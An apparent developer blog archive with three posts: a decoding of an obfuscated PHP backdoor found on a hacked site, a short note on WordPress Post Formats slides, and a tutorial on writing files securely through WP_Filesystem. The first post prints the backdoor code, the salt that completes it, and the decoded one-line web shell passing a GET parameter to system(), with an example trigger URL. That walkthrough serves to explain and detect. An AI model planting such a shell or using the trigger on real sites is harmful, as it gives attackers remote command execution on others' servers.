Archive for April 2011

I was alerted to this tweet by @andrea_r this morning:

Here’s the code in question:

<?php
@$str1 = "0cmVhbT1AJF9HRVRbJz" . $HTTPS_ACCEPT_URLENCODING['KOI8-R'];
@$str2 = "B4RkYnXTtAc3lzdGVtK" . $HTTPS_ACCEPT_URLENCODING['WIN-1251'];
@$str3 = "CRuZXdzdHJlYW0pOw==" . $HTTP_ACCEPT_URLENCODING['UTF-8'];
@eval(base 64_decode($_GET['salt'] . $str1 . $str2 . $str3));
?>

Decoding this is a rather simple matter. First, we remove the eval line and do a var_dump on the variables. We get this:

>php test.php
string(19) "0cmVhbT1AJF9HRVRbJz"
string(19) "B4RkYnXTtAc3lzdGVtK"
string(19) "CRuZXdzdHJlYW0pOw=="

Notice that the HTTP_ACCEPT_URLENCODING mess is a red herring. It’s there to make it look more legit, sort of thing.

So now we have this string: “0cmVhbT1AJF9HRVRbJzB4RkYnXTtAc3lzdGVtKCRuZXdzdHJlYW0pOw==”. Unfortunately, it is incomplete. Note the “salt” parameter being used in the eval(base 64_decode()) line.

Well, a bit of searching turned up the fact that the salt is supposed to be “JG5ld3N”. So somebody can send a ?salt=JG5ld3N parameter in an HTTP request and get the following string to decode: “JG5ld3N0cmVhbT1AJF9HRVRbJzB4RkYnXTtAc3lzdGVtKCRuZXdzdHJlYW0pOw==”.

So we run that through a base64 decoder and get this:

$newstream=@$_GET['0xFF'];@system($newstream);

So it’s just performing a system call on whatever comes in via the 0xFF parameter. Ah ha! It’s a shell backdoor. I can make a hit to example.com?salt=JG5ld3N&0xFF=**any-command-I-want** and have it execute it in the shell.

Fortunately, this is not a particularly well hidden example. The use of “eval” and “base 64_decode” is a dead giveaway, as is the use of unchecked $GET parameters.

Most likely, Scott got hacked through either bad permissions on a shared server or somebody got ahold of his FTP credentials somehow. It’s hard to say without seeing his server logs, but checking through all files on the system is probably a good idea.

As always, the Codex has some good suggestions.

Shortlink:

Slides for the presentation I gave on Post Formats at the WordPress Memphis Meetup yesterday. It was a short presentation, only about 15-20 minutes, really. Post formats simply aren’t that complicated, and tend to be easy to grasp quickly.

Link if you can’t see the embedded version above: http://go.otto42.com/uhwrv

I followed up showing on a demo site how you could use CSS to easily add and style post formats. During that, I used the Web Developer Addon for Firefox, since that’s my preferred means of quickly editing CSS files and seeing the results, live. Frankly, I just find Firebug too complicated to use for that sort of thing.

Shortlink:

Note: An actual working implementation of the WP_Filesystem can be found in my Pluginception plugin.

Lot of talk amongst theme authors recently about writing local files. Writing files from code, whether it be from a theme or from a plugin, is generally bad mojo. However understanding why you shouldn’t is confusing to many, and then understanding why you shouldn’t do-it-yourself and should use the WP_Filesystem is even more confusing. To further muddy up the waters, many theme authors have expressed confusion at how to use WP_Filesystem in the first place.

So, let’s run the gamut in this tutorial. Note that I wrote it quickly, so it may be uneven in parts. 😉

Why Not To Do It

The most common reasons I see theme authors wanting to write local files falls into three categories:

  1. Dynamic CSS
  2. Configuration Saving
  3. Export/Import

Take the Dynamic CSS case to start with, since it’s the most common one by far. Some theme authors say “I’m making a framework/system/construction-kit where the user can define their own theme/layout/color-schemes and thus produce a bunch of CSS. I want to save this CSS in the theme/uploads directory, and then put a link to it from their page, so that the browser downloads it from there.

Why they shouldn’t do that: There’s half a dozen reasons here, but the big two are a) put just the dynamic parts of CSS inline into the page instead, because it’s faster, simpler, and avoids an extra HTTP roundtrip for the user’s browser to get this CSS file and b) writing a CSS file locally is insecure as hell if you do it in the “natural” way.

Security is going to be a big issue for the next two items, so I’ll cover it right now.

Modern UNIX-like systems have the concept of “users”. When I SSH or FTP into my hosting account, then I’m logged in as me and my user account. However, my webserver doesn’t run as my user account. It runs under some different user account, usually “nobody” or “apache” or “web” or something similar to that.

So when I create files, they’re owned by me. When my webserver creates files, then they’re owned by the webserver’s user, whatever it is. Normally, this isn’t a big deal. The webserver can read and serve files either way, so who cares, right? Well, when you’re creating files that are owned by the webserver, then the webserver has permission to write to those files. It’s the owner of them, after all. What’s important here is that I’m not the only person on this webserver.

Shared hosting systems have many users files all served by the same webserver. So if I allow that “nobody” user to own files that are part of my webpage, then anybody else can use their account on the same webserver to modify those files, and thus modify my webpage. For the case of CSS files, this poses a cross-site-scripting risk. Somebody else on my shared webserver could insert code into my CSS files and change them so as to steal my account information. Bad mojo.

The other two, where theme authors are saving configuration or exporting and importing things have the same basic problems, although the risks might be even higher. In one case, I found a theme saving its configuration settings by creating a PHP file in the uploads directory and then using var_export to export the configuration variable to it. Then it proceeded to include this file when the theme loaded, to load its configuration back in. Talk about insecure, anybody running this theme is basically handing over the entire control of their website to anybody on the same web server.

How To Do It Anyway

“But Otto”, I hear you shouting from halfway around the world, “WordPress itself writes files all the time! It can even upgrade itself. How is this safe?” Well, Mr. Incredbly Loud Person, WordPress uses a system called WP_Filesystem to make this safe.

The WP_Filesystem basically support five different ways of writing files to the system and they all ensure that ownership of those files remains firmly in the hands of the same person that owns the WordPress files. In other words, it writes files using your user account and not as the webserver user.

I’m sure many people have seen this before:

This is the basic connection information screen that appears when you try to upgrade a plugin or themes or even the core code, on certain hosts. Some people may be running on hosts that don’t pop up this screen, but the basic process behind it still exists.

Essentially, what is going on here is that WordPress does some tests to detect how it can write files to the server and keep the same owner for those files. If it can’t do it directly, then it does it indirectly via FTP. It needs your login credentials at this point in order to log in as you and thus write files as you instead of as the webserver user that it’s running under.

How to Implement the WP_Filesystem code

Implementing the WP_Filesystem is easy, really. But to do it from a form or options type of system, then you need to have a form or options type of system already. So let’s start out with an extremely basic form, such as one a theme might implement.

// add the admin options page
add_action('admin_menu', 'otto_admin_add_page');

function otto_admin_add_page() {
	add_theme_page('Otto Test Page', 'Otto Test Options', 'edit_theme_options', 'otto', 'otto_options_page');
}

Okay, now we have a new options menu. Let’s make a form to put on that menu:

function otto_options_page() {
	if ( otto_check_buttons() ) return;
?>
<div>
<h2>My custom options page</h2>
<form action="" method="post">
<?php wp_nonce_field('otto-theme-options'); ?>
<input name="save" type="submit" value="Save a file" />
</form></div>
<?php
}

Simple, no-nonsense form. It calls a function to check the incoming button press first (see more below), then it displays a form. It outputs a nonce, makes a button called “Save a file” since that’s what we’re going to do, then stops. Easy.

Note that the otto_check_buttons() function returns true or false, and this then returns when it is true, thus not displaying the form. This is simply to allow us to display the normal form or not, depending on what we need to do later.

So, when you submit the form, then that otto_check_buttons() function is going to come into effect. Let’s look at the beginning of that function:

function otto_check_buttons() {
	if (empty($_POST)) return false;

	check_admin_referer('otto-theme-options');

The beginning of it is simple. If the user hasn’t submitted the form yet, then it just returns false to make the previous function display the form. Next it checks the referer nonce, to make sure the nonce is correct for the page we’re on. Let’s continue:

$form_fields = array ('save'); // this is a list of the form field contents I want passed along between page views
$method = 'ftp'; // Normally you leave this an empty string and it figures it out by itself, but you can override the filesystem method here

// check to see if we are trying to save a file
if (isset($_POST['save'])) {

Here, I’m defining two variables that I’m going to use later. The form_fields is an array of the names of the fields in the form that I want to pass along through that connection information screen. In this case, I defined my “save” input field before, and it’s something I’ll be checking later, so it has to pass through that form. What happens is that the connection information form generates an extra hidden input with the contents from my first form.

The method variable is not strictly necessary. I’m forcing it to use the “ftp” method for this demonstration code. Normally, you leave this blank and the system figures it out for itself. Changing ‘ftp’ to just ” here works fine.

Finally, you can see where I’m checking to make sure the save button was clicked. Moving on:

// okay, let's see about getting credentials
$url = wp_nonce_url('themes.php?page=otto','otto-theme-options');
if (false === ($creds = request_filesystem_credentials($url, $method, false, false, $form_fields) ) ) {
	// if we get here, then we don't have credentials yet,
	// but have just produced a form for the user to fill in,
	// so stop processing for now
	return true; // stop the normal page form from displaying
}

Now is the part where I get the credentials from the user. The request_filesystem_credentials() does several things.

  • It checks to see what kind of credentials it needs (we’re forcing it to FTP in this case)
  • It checks to see if they’re pre-DEFINEd in the wp-config file
  • It checks the POST input to see if it has just received them and returns them if it has
  • It checks the database to see if it remembers the hostname/username from before
  • It produces the necessary form to display if it doesn’t have them

The bottom line being that if it has the necessary credentials, it will return them. Else, it will output the form to be displayed to get the credentials, and then return false. So when it returns false, we know the form has been displayed, so we just exit and wait for the user to give us the necessary credentials.

When we get those credentials, we have to check to make sure they work. Here’s how we do that:

// now we have some credentials, try to get the wp_filesystem running
if ( ! WP_Filesystem($creds) ) {
	// our credentials were no good, ask the user for them again
	request_filesystem_credentials($url, $method, true, false, $form_fields);
	return true;
}

Simple, really. We call the WP_Filesystem and see if the credentials work. If not, we call request_filesystem_credentials a second time, but this time with the $error flag set. This produces the error message and form to the user so he can correct the information.

Finally, we should have working credentials from the user and all the information we need, so we use the $wp_filesystem global to write out a file.

// get the upload directory and make a test.txt file
$upload_dir = wp_upload_dir();
$filename = trailingslashit($upload_dir['path']).'test.txt';

// by this point, the $wp_filesystem global should be working, so let's use it to create a file
global $wp_filesystem;
if ( ! $wp_filesystem->put_contents( $filename, 'Test file contents', FS_CHMOD_FILE) ) {
	echo 'error saving file!';
}

That’s really all there is to it. I made a file in the upload directory called “test.txt” and wrote “Test file contents” to it. The global $wp_filesystem variable is what our call to WP_Filesystem($creds) created. This $wp_filesystem supports various different file functions, but the put_contents() function is the easiest one to understand. I gave it the filename, some contents, and the correct permissions for a file on the system. Simple and easy.

Reasons to use WP_Filesystem

Two big ones:

  • Compatibility
  • Security

Because of the various permissions systems in use, the WP_Filesystem supports many different ways of writing files to the system, but all abstracted out into simpler functions like put_contents() and get_contents() and such.

The only downside to it is that sometimes you need to ask the user for their account information in order to be able to get the access you need. But this is necessary in order to be secure, since you don’t want everybody else on the same server to be able to write to your files. And while you may have a server all to yourself, most of your users won’t. The most common setup for WP is on shared hosting, and if you’re creating a theme or a plugin, you should design for those users as well.

A copy of all the code above made into a demo plugin can be found here: wpfilesystem-demo.phps.

Shortlink: